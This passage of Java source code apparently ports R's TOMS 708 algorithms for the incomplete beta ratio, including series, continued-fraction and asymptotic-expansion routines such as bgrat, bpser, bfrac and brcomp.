0.5 - w + 0.5;\n debugPrintf(\" b0 >= a0 > 100; lambda <= a0 * 0.03: *w:= basym(*) =%.15f\\n\", w);\n break L_end;\n\n } /* else: a, b > 1 */\n\n /* EVALUATION OF THE APPROPRIATE ALGORITHM */\n\n case L_w_bpser: // was L100\n w = bpser(a0, b0, x0, eps, logP);\n w1 = logP ? DPQ.rlog1exp(w) : 0.5 - w + 0.5;\n debugPrintf(\" L_w_bpser: *w := bpser(*) = %.1fg\\n\", w);\n break L_end;\n\n case L_w1_bpser: // was L110\n w1 = bpser(b0, a0, y0, eps, logP);\n w = logP ? DPQ.rlog1exp(w1) : 0.5 - w1 + 0.5;\n debugPrintf(\" L_w1_bpser: *w1 := bpser(*) = %.15f\\n\", w1);\n break L_end;\n\n case L_bfrac:\n w = bfrac(a0, b0, x0, y0, lambda, eps * 15.0, logP);\n w1 = logP ? DPQ.rlog1exp(w) : 0.5 - w + 0.5;\n debugPrintf(\" L_bfrac: *w := bfrac(*) = %f\\n\", w);\n break L_end;\n\n case L140:\n /* b0 := fractional_part( b0 ) in (0, 1] */\n n = (int) b0;\n b0 -= n;\n if (b0 == 0.) {\n --n;\n b0 = 1.;\n }\n\n w = bup(b0, a0, y0, x0, n, eps, false);\n\n debugPrintf(\" L140: *w := bup(b0=%g,..) = %.15f; \", b0, w);\n if (w < MathConstants.DBL_MIN && logP) {\n /* do not believe it; try bpser() : */\n /* revert: */b0 += n;\n /* which is only valid if b0 <= 1 || b0*x0 <= 0.7 */\n state = States.L_w_bpser;\n continue;\n }\n if (x0 <= 0.7) {\n /*\n * log_p : TODO: w = bup(.) + bpser(.) -- not so easy to use\n * log-scale\n */\n w += bpser(a0, b0, x0, eps, /* log_p = */false);\n debugPrintf(\" x0 <= 0.7: *w := *w + bpser(*) = %.15f\\n\", w);\n state = States.L_end_from_w;\n continue;\n }\n /* L150: */\n if (a0 <= 15.0) {\n n = 20;\n w += bup(a0, b0, x0, y0, n, eps, false);\n debugPrintf(\"\\n a0 <= 15: *w := *w + bup(*) = %.15f;\", w);\n a0 += n;\n }\n debugPrintf(\" bgrat(*, w=%.15f) \", w);\n bgrat.w = w;\n bgrat.bgrat(a0, b0, x0, y0, 15 * eps, false);\n w = bgrat.w;\n if (bgrat.ierr != 0) {\n ierr = 8;\n }\n state = States.L_end_from_w;\n continue;\n\n /* TERMINATION OF THE PROCEDURE */\n\n case L_end_from_w:\n if (logP) {\n w1 = Math.log1p(-w);\n w = Math.log(w);\n } else {\n w1 = 0.5 - w + 0.5;\n }\n break L_end;\n\n case L_end_from_w1:\n if (logP) {\n w = Math.log1p(-w1);\n w1 = Math.log(w1);\n } else {\n w = 0.5 - w1 + 0.5;\n }\n break L_end;\n\n case L_end_from_w1_log:\n // *w1 = log(w1) already; w = 1 - w1 ==> log(w) = log(1 - w1) = log(1 -\n // exp(*w1))\n if (logP) {\n w = DPQ.rlog1exp(w1);\n } else {\n w = /* 1 - exp(*w1) */-Math.expm1(w1);\n w1 = Math.exp(w1);\n }\n break L_end;\n\n default:\n throw RInternalError.shouldNotReachHere(\"state: \" + state);\n }/* bratio */\n }\n // unreachable:\n // break;\n }\n // L_end:\n if (doSwap) { /* swap */\n double t = w;\n w = w1;\n w1 = t;\n }\n return result(w, w1, ierr);\n }\n }\n\n private static final class Bgrat {\n private static final int n_terms_bgrat = 30;\n\n private int ierr;\n private double w;\n\n void bgrat(double a, double b, double x, double y, double eps, boolean logW) {\n /*\n * ----------------------------------------------------------------------- Asymptotic\n * Expansion for I_x(a,b) when a is larger than b. Compute w := w + I_x(a,b) It is\n * assumed a >= 15 and b <= 1. eps is the tolerance used. ierr is a variable that\n * reports the status of the results.\n *\n * if(log_w), *w itself must be in log-space; compute w := w + I_x(a,b) but return *w =\n * log(w): *w := log(exp(*w) + I_x(a,b)) = logspace_add(*w, log( I_x(a,b) ))\n * -----------------------------------------------------------------------\n */\n\n double[] c = new double[n_terms_bgrat];\n double[] d = new double[n_terms_bgrat];\n double bm1 = b - 0.5 - 0.5;\n double nu = a + bm1 * 0.5;\n // nu = a + (b-1)/2 =: T, in (9.1) of Didonato & Morris(1992), p.362\n double lnx = (y > 0.375) ? Math.log(x) : alnrel(-y);\n double z = -nu * lnx;\n // z =: u in (9.1) of D.&M.(1992)\n\n if (b * z == 0.0) { // should not happen, but does, e.g.,\n // for pbeta(1e-320, 1e-5, 0.5) i.e., _subnormal_ x,\n // Warning ... bgrat(a=20.5, b=1e-05, x=1, y=9.99989e-321): ..\n RMathError.warning(Message.GENERIC, Utils.stringFormat(\n \"bgrat(a=%f, b=%f, x=%f, y=%f): b*z == 0 underflow, hence inaccurate pbeta()\",\n a, b, x, y));\n /* L_Error: THE EXPANSION CANNOT BE COMPUTED */\n ierr = 1;\n return;\n }\n\n /* COMPUTATION OF THE EXPANSION */\n /*\n * r1 = b * (gam1(b) + 1.0) * exp(b * log(z)),// = b/gamma(b+1) z^b = z^b / gamma(b) set\n * r := exp(-z) * z^b / gamma(b) ; gam1(b) = 1/gamma(b+1) - 1 , b in [-1/2, 3/2]\n */\n // exp(a*lnx) underflows for large (a * lnx); e.g. large a ==> using log_r := log(r):\n // r = r1 * exp(a * lnx) * exp(bm1 * 0.5 * lnx);\n // log(r)=log(b) + log1p(gam1(b)) + b * log(z) + (a * lnx) + (bm1 * 0.5 * lnx),\n double logR = Math.log(b) + RMath.log1p(gam1(b)) + b * Math.log(z) + nu * lnx;\n // FIXME work with log_u = log(u) also when log_p=FALSE (??)\n // u is 'factored out' from the expansion {and multiplied back, at the end}:\n double logU = logR - (algdiv(b, a) + b * Math.log(nu)); // algdiv(b,a) =\n // log(gamma(a)/gamma(a+b))\n /* u = (log_p) ? log_r - u : exp(log_r-u); // =: M in (9.2) of {reference above} */\n /* u = algdiv(b, a) + b * log(nu);// algdiv(b,a) = log(gamma(a)/gamma(a+b)) */\n // u = (log_p) ? log_u : exp(log_u); // =: M in (9.2) of {reference above}\n double u = Math.exp(logU);\n\n if (logU == Double.NEGATIVE_INFINITY) {\n /* L_Error: THE EXPANSION CANNOT BE COMPUTED */ierr = 2;\n return;\n }\n\n boolean u0 = (u == 0.); // underflow --> do work with log(u) == log_u !\n double l = // := *w/u .. but with care: such that it also works when u underflows to 0:\n logW ? ((w == Double.NEGATIVE_INFINITY) ? 0. : Math.exp(w - logU)) : ((w == 0.) ? 0. : Math.exp(Math.log(w) - logU));\n\n debugPrintf(\" bgrat(a=%f, b=%f, x=%f, *)\\n -> u=%f, l='w/u'=%f, \\n\", a, b, x, u, l);\n\n double qR = gratR(b, z, logR, eps); // = q/r of former grat1(b,z, r, &p, &q)\n double v = 0.25 / (nu * nu);\n double t2 = lnx * 0.25 * lnx;\n double j = qR;\n double sum = j;\n double t = 1.0;\n double cn = 1.0;\n double n2 = 0.;\n for (int n = 1; n <= n_terms_bgrat; ++n) {\n double bp2n = b + n2;\n j = (bp2n * (bp2n + 1.0) * j + (z + bp2n + 1.0) * t) * v;\n n2 += 2.;\n t *= t2;\n cn /= n2 * (n2 + 1.);\n int nm1 = n - 1;\n c[nm1] = cn;\n double s = 0.0;\n if (n > 1) {\n double coef = b - n;\n for (int i = 1; i <= nm1; ++i) {\n s += coef * c[i - 1] * d[nm1 - i];\n coef += b;\n }\n }\n d[nm1] = bm1 * cn + s / n;\n double dj = d[nm1] * j;\n sum += dj;\n if (sum <= 0.0) {\n /* L_Error: THE EXPANSION CANNOT BE COMPUTED */ierr = 3;\n return;\n }\n if (Math.abs(dj) <= eps * (sum + l)) {\n break;\n } else if (n == n_terms_bgrat) {\n // never? ; please notify R-core if seen:\n RMathError.warning(Message.GENERIC, Utils.stringFormat(\"bgrat(a=%f, b=%f, x=%f,..): did *not* converge; dj=%f, rel.err=%f\\n\", a, b, x, dj, Math.abs(dj) / (sum + l)));\n }\n }\n\n /* ADD THE RESULTS TO W */\n ierr = 0;\n if (logW) {\n // *w is in log space already:\n w = logspaceAdd(w, logU + Math.log(sum));\n } else {\n w += (u0 ? Math.exp(logU + Math.log(sum)) : u * sum);\n }\n } /* bgrat */\n }\n\n private static double fpser(double a, double b, double x, double eps, boolean logP) {\n /*\n * ----------------------------------------------------------------------- *\n *\n * EVALUATION OF I (A,B) X\n *\n * FOR B < MIN(EPS, EPS*A) AND X <= 0.5\n *\n * -----------------------------------------------------------------------\n */\n\n double ans;\n\n /* SET ans := x^a : */\n if (logP) {\n ans = a * log(x);\n } else if (a > eps * 0.001) {\n double t = a * log(x);\n if (t < exparg(1)) { /* exp(t) would underflow */\n return 0.0;\n }\n ans = exp(t);\n } else {\n ans = 1.;\n }\n\n /* NOTE THAT 1/B(A,B) = B */\n\n if (logP) {\n ans += log(b) - log(a);\n } else {\n ans *= b / a;\n }\n\n double tol = eps / a;\n double an = a + 1.0;\n double t = x;\n double s = t / an;\n double c;\n do {\n an += 1.0;\n t = x * t;\n c = t / an;\n s += c;\n } while (fabs(c) > tol);\n\n if (logP) {\n ans += RMath.log1p(a * s);\n } else {\n ans *= a * s + 1.0;\n }\n return ans;\n } /* fpser */\n\n static double apser(double a, double b, double x, double eps) {\n /*\n * ----------------------------------------------------------------------- apser() yields\n * the incomplete beta ratio I_{1-x}(b,a) for a <= min(eps,eps*b), b*x <= 1, and x <= 0.5,\n * i.e., a is very small. Use only if above inequalities are satisfied.\n * -----------------------------------------------------------------------\n */\n\n double g = .577215664901533;\n\n double bx = b * x;\n\n double t = x - bx;\n double c;\n if (b * eps <= 0.02) {\n c = log(x) + psi(b) + g + t;\n } else {\n c = log(bx) + g + t;\n }\n\n double tol = eps * 5.0 * fabs(c);\n double j = 1.;\n double s = 0.;\n double aj;\n do {\n j += 1.0;\n t *= x - bx / j;\n aj = t / j;\n s += aj;\n } while (fabs(aj) > tol);\n\n return -a * (c + s);\n } /* apser */\n\n static double bpser(double a, double b, double x, double eps, boolean logP) {\n /*\n * ----------------------------------------------------------------------- Power SERies\n * expansion for evaluating I_x(a,b) when b <= 1 or b*x <= 0.7. eps is the tolerance used.\n * -----------------------------------------------------------------------\n */\n\n if (x == 0.) {\n return DPQ.rd0(logP);\n }\n /* ----------------------------------------------------------------------- */\n /* compute the factor x^a/(a*Beta(a,b)) */\n /* ----------------------------------------------------------------------- */\n double ans;\n double a0 = min(a, b);\n if (a0 >= 1.0) { /* ------ 1 <= a0 <= b0 ------ */\n double z = a * log(x) - betaln(a, b);\n ans = logP ? z - log(a) : exp(z) / a;\n } else {\n double b0 = max(a, b);\n\n if (b0 < 8.0) {\n\n if (b0 <= 1.0) { /* ------ a0 < 1 and b0 <= 1 ------ */\n\n if (logP) {\n ans = a * log(x);\n } else {\n ans = pow(x, a);\n if (ans == 0.) {\n /* once underflow, always underflow .. */\n return ans;\n }\n }\n double apb = a + b;\n double z;\n if (apb > 1.0) {\n double u = a + b - 1.;\n z = (gam1(u) + 1.0) / apb;\n } else {\n z = gam1(apb) + 1.0;\n }\n double c = (gam1(a) + 1.0) * (gam1(b) + 1.0) / z;\n\n if (logP) {\n /* FIXME ? -- improve quite a bit for c ~= 1 */\n ans += log(c * (b / apb));\n } else {\n ans *= c * (b / apb);\n }\n } else { /* ------ a0 < 1 < b0 < 8 ------ */\n\n double u = gamln1(a0);\n int m = (int) (b0 - 1.0);\n if (m >= 1) {\n double c = 1.0;\n for (int i = 1; i <= m; ++i) {\n b0 += -1.0;\n c *= b0 / (a0 + b0);\n }\n u += log(c);\n }\n\n double z = a * log(x) - u;\n b0 += -1.0; // => b0 in (0, 7)\n double apb = a0 + b0;\n double t;\n if (apb > 1.0) {\n u = a0 + b0 - 1.;\n t = (gam1(u) + 1.0) / apb;\n } else {\n t = gam1(apb) + 1.0;\n }\n\n if (logP) {\n /* FIXME? potential for improving log(t) */\n ans = z + log(a0 / a) + RMath.log1p(gam1(b0)) - log(t);\n } else {\n ans = exp(z) * (a0 / a) * (gam1(b0) + 1.0) / t;\n }\n }\n } else { /* ------ a0 < 1 < 8 <= b0 ------ */\n\n double u = gamln1(a0) + algdiv(a0, b0);\n double z = a * log(x) - u;\n\n if (logP) {\n ans = z + log(a0 / a);\n } else {\n ans = a0 / a * exp(z);\n }\n }\n }\n debugPrintf(\" bpser(a=%f, b=%f, x=%f, log=%b): prelim.ans = %.14f;\\n\", a, b, x, logP, ans);\n if (Utils.identityEquals(ans, DPQ.rd0(logP)) || (!logP && a <= eps * 0.1)) {\n return ans;\n }\n\n /* ----------------------------------------------------------------------- */\n /* COMPUTE THE SERIES */\n /* ----------------------------------------------------------------------- */\n double sum = 0.;\n double n = 0.;\n double c = 1.;\n double tol = eps / a;\n\n double w;\n do {\n n += 1.;\n c *= (0.5 - b / n + 0.5) * x;\n w = c / (a + n);\n sum += w;\n } while (n < 1e7 && fabs(w) > tol);\n if (fabs(w) > tol) { // the series did not converge (in time)\n // warn only when the result seems to matter:\n if ((logP && !(a * sum > -1. && fabs(RMath.log1p(a * sum)) < eps * fabs(ans))) || (!logP && fabs(a * sum + 1) != 1.)) {\n emitWarning(\" bpser(a=%f, b=%f, x=%f,...) did not converge (n=1e7, |w|/tol=%f > 1; A=%f)\", a, b, x, fabs(w) / tol, ans);\n }\n }\n debugPrintf(\" -> n=%d iterations, |w|=%f %s %f=tol:=eps/a ==> a*sum=%f\\n\", (int) n, fabs(w), (fabs(w) > tol) ? \">!!>\" : \"<=\", tol, a * sum);\n if (logP) {\n if (a * sum > -1.0) {\n ans += RMath.log1p(a * sum);\n } else {\n ans = ML_NEGINF;\n }\n } else {\n ans *= a * sum + 1.0;\n }\n return ans;\n } /* bpser */\n\n static double bup(double a, double b, double x, double y, int n, double eps, boolean giveLog) {\n /* ----------------------------------------------------------------------- */\n /* EVALUATION OF I_x(A,B) - I_x(A+N,B) WHERE N IS A POSITIVE INT. */\n /* EPS IS THE TOLERANCE USED. */\n /* ----------------------------------------------------------------------- */\n\n // Obtain the scaling factor exp(-mu) and exp(mu)*(x^a * y^b / beta(a,b))/a\n\n double apb = a + b;\n double ap1 = a + 1.0;\n int mu;\n double d;\n if (n > 1 && a >= 1. && apb >= ap1 * 1.1) {\n mu = (int) fabs(exparg(1));\n int k = (int) exparg(0);\n if (mu > k) {\n mu = k;\n }\n double t = mu;\n d = exp(-t);\n } else {\n mu = 0;\n d = 1.0;\n }\n\n /* L10: */\n double retVal = giveLog ? brcmp1(mu, a, b, x, y, true) - log(a) : brcmp1(mu, a, b, x, y, false) / a;\n if (n == 1 || (giveLog && Utils.identityEquals(retVal, ML_NEGINF)) || (!giveLog && retVal == 0.)) {\n return retVal;\n }\n\n int nm1 = n - 1;\n double w = d;\n\n /* LET K BE THE INDEX OF THE MAXIMUM TERM */\n\n boolean doL40 = false;\n int k = 0;\n do {\n if (b <= 1.0) {\n doL40 = true;\n break;\n }\n if (y > 1e-4) {\n double r = (b - 1.0) * x / y - a;\n if (r < 1.0) {\n doL40 = true;\n break;\n }\n k = nm1;\n double t = nm1;\n if (r < t) {\n k = (int) r;\n }\n } else {\n k = nm1;\n }\n\n /* ADD THE INCREASING TERMS OF THE SERIES */\n\n /* L30: */\n for (int i = 1; i <= k; ++i) {\n double l = i - 1;\n d = (apb + l) / (ap1 + l) * x * d;\n w += d;\n /* L31: */\n }\n if (k != nm1) {\n doL40 = true;\n break;\n }\n } while (false);\n /* ADD THE REMAINING TERMS OF THE SERIES */\n if (doL40) {\n for (int i = k + 1; i <= nm1; ++i) {\n double l = i - 1;\n d = (apb + l) / (ap1 + l) * x * d;\n w += d;\n if (d <= eps * w) {\n /* relativ convergence (eps) */\n break;\n }\n }\n }\n\n // L50: TERMINATE THE PROCEDURE\n if (giveLog) {\n retVal += log(w);\n } else {\n retVal *= w;\n }\n\n return retVal;\n } /* bup */\n\n static double bfrac(double a, double b, double x, double y, double lambda, double eps, boolean logP) {\n /*\n * ----------------------------------------------------------------------- Continued\n * fraction expansion for I_x(a,b) when a, b > 1. It is assumed that lambda = (a + b)*y - b.\n * -----------------------------------------------------------------------\n */\n\n double brc = brcomp(a, b, x, y, logP);\n\n if (!logP && brc == 0.) {\n /* already underflowed to 0 */\n return 0.;\n }\n\n double c = lambda + 1.0;\n double c0 = b / a;\n double c1 = 1.0 / a + 1.0;\n double yp1 = y + 1.0;\n\n double n = 0.0;\n double p = 1.0;\n double s = a + 1.0;\n double an = 0.0;\n double bn = 1.0;\n double anp1 = 1.0;\n double bnp1 = c / c1;\n double r = c1 / c;\n\n /* CONTINUED FRACTION CALCULATION */\n\n do {\n n += 1.0;\n double t = n / a;\n double w = n * (b - n) * x;\n double e = a / s;\n double alpha = p * (p + c0) * e * e * (w * x);\n e = (t + 1.0) / (c1 + t + t);\n double beta = n + w / s + e * (c + n * yp1);\n p = t + 1.0;\n s += 2.0;\n\n /* update an, bn, anp1, and bnp1 */\n\n t = alpha * an + beta * anp1;\n an = anp1;\n anp1 = t;\n t = alpha * bn + beta * bnp1;\n bn = bnp1;\n bnp1 = t;\n\n double r0 = r;\n r = anp1 / bnp1;\n if (n >= 10000 && fabs(r - r0) <= eps * r) {\n break;\n }\n\n /* rescale an, bn, anp1, and bnp1 */\n\n an /= bnp1;\n bn /= bnp1;\n anp1 = r;\n bnp1 = 1.0;\n } while (true);\n\n return (logP ? brc + log(r) : brc * r);\n } /* bfrac */\n\n static double brcomp(double a, double b, double x, double y, boolean logP) {\n /*\n * ----------------------------------------------------------------------- Evaluation of x^a\n * * y^b / Beta(a,b) -----------------------------------------------------------------------\n */\n\n /* R has M_1_SQRT_2PI , and M_LN_SQRT_2PI = ln(sqrt(2*pi)) = 0.918938.. */\n\n if (x == 0.0 || y == 0.0) {\n return DPQ.rd0(logP);\n }\n double a0 = min(a, b);\n if (a0 < 8.0) {\n double lnx;\n double lny;\n if (x <= .375) {\n lnx = log(x);\n lny = alnrel(-x);\n } else {\n if (y > .375) {\n lnx = log(x);\n lny = log(y);\n } else {\n lnx = alnrel(-y);\n lny = log(y);\n }\n }\n\n double z = a * lnx + b * lny;\n if (a0 >= 1.) {\n z -= betaln(a, b);\n return DPQ.rdexp(z, logP);\n }\n\n /* ----------------------------------------------------------------------- */\n /* PROCEDURE FOR a < 1 OR b < 1 */\n /* ----------------------------------------------------------------------- */\n\n double b0 = max(a, b);\n if (b0 >= 8.0) { /* L80: */\n double u = gamln1(a0) + algdiv(a0, b0);\n\n return (logP ? log(a0) + (z - u) : a0 * exp(z - u));\n }\n /* else : */\n\n if (b0 <= 1.0) { /* algorithm for max(a,b) = b0 <= 1 */\n\n double eZ = DPQ.rdexp(z, logP);\n\n if (!logP && eZ == 0.0) {\n /* exp() underflow */\n return 0.;\n }\n\n double apb = a + b;\n if (apb > 1.0) {\n double u = a + b - 1.;\n z = (gam1(u) + 1.0) / apb;\n } else {\n z = gam1(apb) + 1.0;\n }\n\n double c = (gam1(a) + 1.0) * (gam1(b) + 1.0) / z;\n /* FIXME? log(a0*c)= log(a0)+ log(c) and that is improvable */\n return (logP ? eZ + log(a0 * c) - RMath.log1p(a0 / b0) : eZ * (a0 * c) / (a0 / b0 + 1.0));\n }\n\n /* else : ALGORITHM FOR 1 < b0 < 8 */\n\n double u = gamln1(a0);\n int n = (int) (b0 - 1.0);\n if (n >= 1) {\n double c = 1.0;\n for (int i = 1; i <= n; ++i) {\n b0 += -1.0;\n c *= b0 / (a0 + b0);\n }\n u = log(c) + u;\n }\n z -= u;\n b0 += -1.0;\n double apb = a0 + b0;\n double t;\n if (apb > 1.0) {\n u = a0 + b0 - 1.;\n t = (gam1(u) + 1.0) / apb;\n } else {\n t = gam1(apb) + 1.0;\n }\n\n return (logP ? log(a0) + z + RMath.log1p(gam1(b0)) - log(t) : a0 * exp(z) * (gam1(b0) + 1.0) / t);\n\n } else {\n /* ----------------------------------------------------------------------- */\n /* PROCEDURE FOR A >= 8 AND B >= 8 */\n /* ----------------------------------------------------------------------- */\n double h;\n double x0;\n double y0;\n double lambda;\n if (a <= b) {\n h = a / b;\n x0 = h / (h + 1.0);\n y0 = 1.0 / (h + 1.0);\n lambda = a - (a + b) * x;\n } else {\n h = b / a;\n x0 = 1.0 / (h + 1.0);\n y0 = h / (h + 1.0);\n lambda = (a + b) * y - b;\n }\n\n double e = -lambda / a;\n double u;\n if (fabs(e) > .6) {\n u = e - log(x / x0);\n } else {\n u = rlog1(e);\n }\n\n e = lambda / b;\n double v;\n if (fabs(e) <= .6) {\n v = rlog1(e);\n } else {\n v = e - log(y / y0);\n }\n\n double z = logP ? -(a * u + b * v) : exp(-(a * u + b * v));\n\n return (logP ? -M_LN_SQRT_2PI + .5 * log(b * x0) + z - bcorr(a, b) : MathConstants.INV_SQRT_2_PI * sqrt(b * x0) * z * exp(-bcorr(a, b)));\n }\n } /* brcomp */\n\n // called only once from bup(), as r = brcmp1(mu, a, b, x, y, false) / a;\n // -----\n static double brcmp1(int mu, double a, double b, double x, double y, boolean giveLog) {\n /*\n * ----------------------------------------------------------------------- Evaluation of\n * exp(mu) * x^a * y^b / beta(a,b)\n * -----------------------------------------------------------------------\n */\n\n /* R has M_1_SQRT_2PI */\n\n /* Local variables */\n\n double a0 = min(a, b);\n if (a0 < 8.0) {\n double lnx;\n double lny;\n if (x <= .375) {\n lnx = log(x);\n lny = alnrel(-x);\n } else if (y > .375) {\n // L11:\n lnx = log(x);\n lny = log(y);\n } else {\n lnx = alnrel(-y);\n lny = log(y);\n }\n\n // L20:\n double z = a * lnx + b * lny;\n if (a0 >= 1.0) {\n z -= betaln(a, b);\n return esum(mu, z, giveLog);\n }\n // else :\n /* ----------------------------------------------------------------------- */\n /* PROCEDURE FOR A < 1 OR B < 1 */\n /* ----------------------------------------------------------------------- */\n // L30:\n double b0 = max(a, b);\n if (b0 >= 8.0) {\n /* L80: ALGORITHM FOR b0 >= 8 */\n double u = gamln1(a0) + algdiv(a0, b0);\n debugPrintf(\" brcmp1(mu,a,b,*): a0 < 1, b0 >= 8; z=%.15f\\n\", z);\n return giveLog ? log(a0) + esum(mu, z - u, true) : a0 * esum(mu, z - u, false);\n\n } else if (b0 <= 1.0) {\n // a0 < 1, b0 <= 1\n double ans = esum(mu, z, giveLog);\n if (ans == (giveLog ? ML_NEGINF : 0.)) {\n return ans;\n }\n\n double apb = a + b;\n if (apb > 1.0) {\n // L40:\n double u = a + b - 1.;\n z = (gam1(u) + 1.0) / apb;\n } else {\n z = gam1(apb) + 1.0;\n }\n // L50:\n double c = giveLog ? RMath.log1p(gam1(a)) + RMath.log1p(gam1(b)) - log(z) : (gam1(a) + 1.0) * (gam1(b) + 1.0) / z;\n debugPrintf(\" brcmp1(mu,a,b,*): a0 < 1, b0 <= 1; c=%.15f\\n\", c);\n return giveLog ? ans + log(a0) + c - RMath.log1p(a0 / b0) : ans * (a0 * c) / (a0 / b0 + 1.0);\n }\n // else: algorithm for a0 < 1 < b0 < 8\n // L60:\n double u = gamln1(a0);\n int n = (int) (b0 - 1.0);\n if (n >= 1) {\n double c = 1.0;\n for (int i = 1; i <= n; ++i) {\n b0 += -1.0;\n c *= b0 / (a0 + b0);\n /* L61: */\n }\n u += log(c); // TODO?: log(c) = log( prod(...) ) = sum( log(...) )\n }\n // L70:\n z -= u;\n b0 += -1.0;\n double apb = a0 + b0;\n double t;\n if (apb > 1.) {\n // L71:\n t = (gam1(apb - 1.) + 1.0) / apb;\n } else {\n t = gam1(apb) + 1.0;\n }\n debugPrintf(\" brcmp1(mu,a,b,*): a0 < 1 < b0 < 8; t=%.15f\\n\", t);\n // L72:\n return giveLog ? log(a0) + esum(mu, z, true) + RMath.log1p(gam1(b0)) - log(t) : a0 * esum(mu, z, false) * (gam1(b0) + 1.0) / t;\n\n } else {\n\n /* ----------------------------------------------------------------------- */\n /* PROCEDURE FOR A >= 8 AND B >= 8 */\n /* ----------------------------------------------------------------------- */\n // L100:\n double h;\n double x0;\n double y0;\n double lambda;\n if (a > b) {\n // L101:\n h = b / a;\n x0 = 1.0 / (h + 1.0); // => lx0 := log(x0) = 0 - log1p(h)\n y0 = h / (h + 1.0);\n lambda = (a + b) * y - b;\n } else {\n h = a / b;\n x0 = h / (h + 1.0); // => lx0 := log(x0) = - log1p(1/h)\n y0 = 1.0 / (h + 1.0);\n lambda = a - (a + b) * x;\n }\n double lx0 = -RMath.log1p(b / a); // in both cases\n\n debugPrintf(\" brcmp1(mu,a,b,*): a,b >= 8; x0=%.15f, lx0=log(x0)=%.15f\\n\", x0, lx0);\n // L110:\n double e = -lambda / a;\n double u;\n if (fabs(e) > 0.6) {\n // L111:\n u = e - log(x / x0);\n } else {\n u = rlog1(e);\n }\n\n // L120:\n e = lambda / b;\n double v;\n if (fabs(e) > 0.6) {\n // L121:\n v = e - log(y / y0);\n } else {\n v = rlog1(e);\n }\n\n // L130:\n double z = esum(mu, -(a * u + b * v), giveLog);\n return giveLog ? log(MathConstants.INV_SQRT_2_PI) + (log(b) + lx0) / 2. + z - bcorr(a, b) : MathConstants.INV_SQRT_2_PI * sqrt(b * x0) * z * exp(-bcorr(a, b));\n }\n } /* brcmp1 */\n\n // called only from bgrat() , as q_r = grat_r(b, z, log_r, eps) :\n static double gratR(double a, double x, double logR, double eps) {\n /*\n * ----------------------------------------------------------------------- Scaled complement\n * of incomplete gamma ratio function grat_r(a,x,r) := Q(a,x) / r where Q(a,x) = pgamma(x,a,\n * lower.tail=false) and r = e^(-x)* x^a / Gamma(a) == exp(log_r)\n *\n * It is assumed that a <= 1. eps is the tolerance to be used.\n * -----------------------------------------------------------------------\n */\n\n if (a * x == 0.0) { /* L130: */\n if (x <= a) {\n /* L100: */\n return exp(-logR);\n } else {\n /* L110: */\n return 0.;\n }\n } else if (a == 0.5) { // e.g. when called from pt()\n /* L120: */\n if (x < 0.25) {\n double p = erf(sqrt(x));\n debugPrintf(\" grat_r(a=%f, x=%f ..)): a=1/2 --> p=erf__(.)= %f\\n\", a, x, p);\n return (0.5 - p + 0.5) * exp(-logR);\n\n } else { // 2013-02-27: improvement for \"large\" x: direct computation of q/r:\n double sx = sqrt(x);\n double qR = erfc1(1, sx) / sx * M_SQRT_PI;\n debugPrintf(\" grat_r(a=%f, x=%f ..)): a=1/2 --> q_r=erfc1(..)/r= %f\\n\", a, x, qR);\n return qR;\n }\n } else if (x < 1.1) { /* L10: Taylor series for P(a,x)/x^a */\n\n double an = 3.;\n double c = x;\n double sum = x / (a + 3.0);\n double tol = eps * 0.1 / (a + 1.0);\n double t;\n do {\n an += 1.;\n c *= -(x / an);\n t = c / (a + an);\n sum += t;\n } while (fabs(t) > tol);\n\n debugPrintf(\" grat_r(a=%f, x=%f, log_r=%f): sum=%f; Taylor w/ %.0f terms\", a, x, logR, sum, an - 3.);\n double j = a * x * ((sum / 6. - 0.5 / (a + 2.)) * x + 1. / (a + 1.));\n double z = a * log(x);\n double h = gam1(a);\n double g = h + 1.0;\n\n if ((x >= 0.25 && (a < x / 2.59)) || (z > -0.13394)) {\n // L40:\n double l = rexpm1(z);\n double q = ((l + 0.5 + 0.5) * j - l) * g - h;\n if (q <= 0.0) {\n debugPrintf(\" => q_r= 0.\\n\");\n /* L110: */\n return 0.;\n } else {\n debugPrintf(\" => q_r=%.15f\\n\", q * exp(-logR));\n return q * exp(-logR);\n }\n } else {\n double p = exp(z) * g * (0.5 - j + 0.5);\n debugPrintf(\" => q_r=%.15f\\n\", (0.5 - p + 0.5) * exp(-logR));\n return /* q/r = */(0.5 - p + 0.5) * exp(-logR);\n }\n } else {\n /* L50: ---- (x >= 1.1) ---- Continued Fraction Expansion */\n\n double a2n1 = 1.0;\n double a2n = 1.0;\n double b2n1 = x;\n double b2n = x + (1.0 - a);\n double c = 1.;\n double am0;\n double an0;\n\n do {\n a2n1 = x * a2n + c * a2n1;\n b2n1 = x * b2n + c * b2n1;\n am0 = a2n1 / b2n1;\n c += 1.;\n double cA = c - a;\n a2n = a2n1 + cA * a2n;\n b2n = b2n1 + cA * b2n;\n an0 = a2n / b2n;\n } while (fabs(an0 - am0) >= eps * an0);\n\n debugPrintf(\" grat_r(a=%f, x=%f, log_r=%f): Cont.frac. %.0f terms => q_r=%.15f\\n\", a, x, logR, c - 1., an0);\n return /* q/r = (r * an0)/r = */an0;\n }\n } /* grat_r */\n\n private static final int num_IT = 20;\n\n static double basym(double a, double b, double lambda, double eps, boolean logP) {\n /* ----------------------------------------------------------------------- */\n /* ASYMPTOTIC EXPANSION FOR I_x(A,B) FOR LARGE A AND B. */\n /* LAMBDA = (A + B)*Y - B AND EPS IS THE TOLERANCE USED. */\n /* IT IS ASSUMED THAT LAMBDA IS NONNEGATIVE AND THAT */\n /* A AND B ARE GREATER THAN OR EQUAL TO 15. */\n /* ----------------------------------------------------------------------- */\n\n /* ------------------------ */\n /* ****** NUM IS THE MAXIMUM VALUE THAT N CAN TAKE IN THE DO LOOP */\n /* ENDING AT STATEMENT 50. IT IS REQUIRED THAT NUM BE EVEN. */\n /* THE ARRAYS A0, B0, C, D HAVE DIMENSION NUM + 1. */\n\n double e0 = 1.12837916709551; // e0 == 2/sqrt(pi)\n double e1 = .353553390593274; // e1 == 2^(-3/2)\n double lnE0 = 0.120782237635245; // == ln(e0)\n\n double[] a0 = new double[num_IT + 1];\n double[] b0 = new double[num_IT + 1];\n double[] c = new double[num_IT + 1];\n double[] d = new double[num_IT + 1];\n\n double f = a * rlog1(-lambda / a) + b * rlog1(lambda / b);\n double t;\n if (logP) {\n t = -f;\n } else {\n t = exp(-f);\n if (t == 0.0) {\n return 0; /* once underflow, always underflow .. */\n }\n }\n double z0 = sqrt(f);\n double z = z0 / e1 * 0.5;\n double z2 = f + f;\n\n double h;\n double r0;\n double r1;\n double w0;\n\n if (a < b) {\n h = a / b;\n r0 = 1.0 / (h + 1.0);\n r1 = (b - a) / b;\n w0 = 1.0 / sqrt(a * (h + 